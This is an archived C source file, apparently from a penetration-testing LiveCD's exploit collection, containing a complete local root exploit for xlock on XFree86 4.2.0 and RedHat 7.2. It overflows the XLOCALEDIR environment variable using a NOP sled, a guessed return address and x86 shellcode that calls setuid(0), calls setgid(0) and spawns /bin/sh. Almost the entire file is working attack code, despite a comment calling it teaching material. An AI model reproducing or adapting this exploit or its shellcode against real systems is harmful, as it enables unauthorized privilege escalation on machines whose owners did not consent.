home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / xwin / xlock-XLOCALEDIR.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  4KB  |  112 lines

  1. /*  xlock local root exploit for XFree 4.2.0, RedHat 7.2, 
  2.  *  maybe others, based on overflowing XLOCALEDIR,
  3.  *  by omega of the S.T.A.R. team. 
  4.  *  This is a re-make of the original work for Slackware 8.1 
  5.  *  by dcryptr && tarranta / oC.
  6.  */
  7. /*  Greetz go to: dcryptr && tarranta, dethy -at- synnergy.net, 
  8.  *                mirapoint, ^sq, irian, Fooy :-). 
  9.  */
  10. /*  Oh, and yes, xlock probably isn't +s on your system, so this 
  11.  *  is mostly a teaching material ;-)
  12.  */
  13.  
  14. #include <stdio.h>
  15. #include <stdlib.h>
  16. #include <fcntl.h>
  17.  
  18. #define OFFSET     0     /* varies, use 0 as default */
  19. #define nop    0x90     /* NOP on x86 is 0x90 */
  20. #define BSIZE   5100     /* size of our buffer */
  21.  
  22. /* thanks to dcryptr && tarranta, for noting that 
  23.    the first setuid(0) gets ignored for some mysterious 
  24.    reason and also for providing this shellcode. */
  25. static char shellcode[] =
  26. /* setuid(0); - ignored. */
  27.  "\x31\xdb" /* xor %ebx,%ebx */
  28.  "\x89\xd8" /* mov %ebx,%eax */
  29.  "\xb0\x17" /* mov $0x17,%al */
  30.  "\xcd\x80" /* int $0x80 */
  31.  
  32.  /* setuid(0); */
  33.  "\x31\xdb" /* xor %ebx,%ebx */
  34.  "\x89\xd8" /* mov %ebx,%eax */
  35.  "\xb0\x17" /* mov $0x17,%al */
  36.  "\xcd\x80" /* int $0x80 */
  37.  
  38.  /* setgid(0); */
  39.  "\x31\xdb" /* xor %ebx,%ebx */
  40.  "\x89\xd8" /* mov %ebx,%eax */
  41.  "\xb0\x2e" /* mov $0x2e,%al */
  42.  "\xcd\x80" /* int $0x80 */
  43.  
  44.  /* /bin/sh execve(); */
  45.  "\x31\xc0" /* xor %eax,%eax */
  46.  "\x50"     /* push %eax */
  47.  "\x68\x2f\x2f\x73\x68" /* push $0x68732f2f */
  48.  "\x68\x2f\x62\x69\x6e" /* push $0x6e69622f */
  49.  "\x89\xe3" /* mov %esp,%ebx */
  50.  "\x50"     /* push %eax */
  51.  "\x53"     /* push %ebx */
  52.  "\x89\xe1" /* mov %esp,%ecx */
  53.  "\x31\xd2" /* xor %edx,%edx */
  54.  "\xb0\x0b" /* mov $0xb,%al */
  55.  "\xcd\x80" /* int $0x80 */
  56.  
  57.  /* exit(0); */
  58.  "\x31\xdb" /* xor %ebx,%ebx */
  59.  "\x89\xd8" /* mov %ebx,%eax */
  60.  "\xb0\x01" /* mov $0x01,%al */
  61.  "\xcd\x80";/* int $0x80 */
  62.  
  63. /* thanks to dethy for his tutorial on overflows 
  64.  * - this is essentially based on that. 
  65.  */
  66. int main(int argc, char **argv) {
  67.     char *buffer, *ptr;
  68.     int *address_ptr, *address;
  69.     int i, offset = OFFSET, bsize = BSIZE;
  70.  
  71.     /* you can use this offset to search for a better place to jump to. */
  72.     if(argc > 1) offset = atoi(argv[1]);
  73.     else offset = 0;
  74.     fprintf(stderr, "Offset: %d\n", offset);
  75.  
  76.     /* create space for our buffer */
  77.     buffer = malloc(bsize);
  78.  
  79.     /* use the force, read the source :-), determine %esp for xlock. */
  80.     (char *)address = (0xbffff010 + sizeof(int) * offset);
  81.     fprintf(stderr, "Return address: %#x\n" ,address);
  82.  
  83.     ptr = buffer;
  84.     address_ptr = (int *)ptr;
  85.  
  86.     /* fill buffer with the in-buffer address to jump to. */
  87.     for(i = 0; i < bsize; i += 4) (int *)*(address_ptr++) = address;
  88.  
  89.     /* now we fill the first third - this can be adjusted - of the buffer with nop's, 
  90.        remembering to leave space for the remaining shellcode to be added. */
  91.     for(i = 0; i < bsize / 3; i++) buffer[i] = nop;
  92.  
  93.     /* fill the buffer with the shellcode centered around the border between the 
  94.        first and second third of the buffer. */
  95.     ptr = buffer + ((bsize / 3) - (strlen(shellcode) / 2));
  96.     for(i = 0; i < strlen(shellcode); i++) *(ptr++) = shellcode[i];
  97.     
  98.     /* don't forget to end with the dreaded null byte or the processor won't determine
  99.        the end of our code. */
  100.     buffer[bsize - 1] = '\0';
  101.  
  102.     /* in this case our bof is a user specified environment variable of fixed length, 
  103.        so we set our buffer "$XLOCALEDIR" and that should overflow the programs buffer */
  104.  
  105.     setenv("XLOCALEDIR", buffer, 1);
  106.  
  107.     /* xlock uses the above variable for it's environment, so we'll try to exploit it. */
  108.     execl("/usr/X11R6/bin/xlock", "/usr/X11R6/bin/xlock", 0);
  109. }
  110.  
  111.  
  112.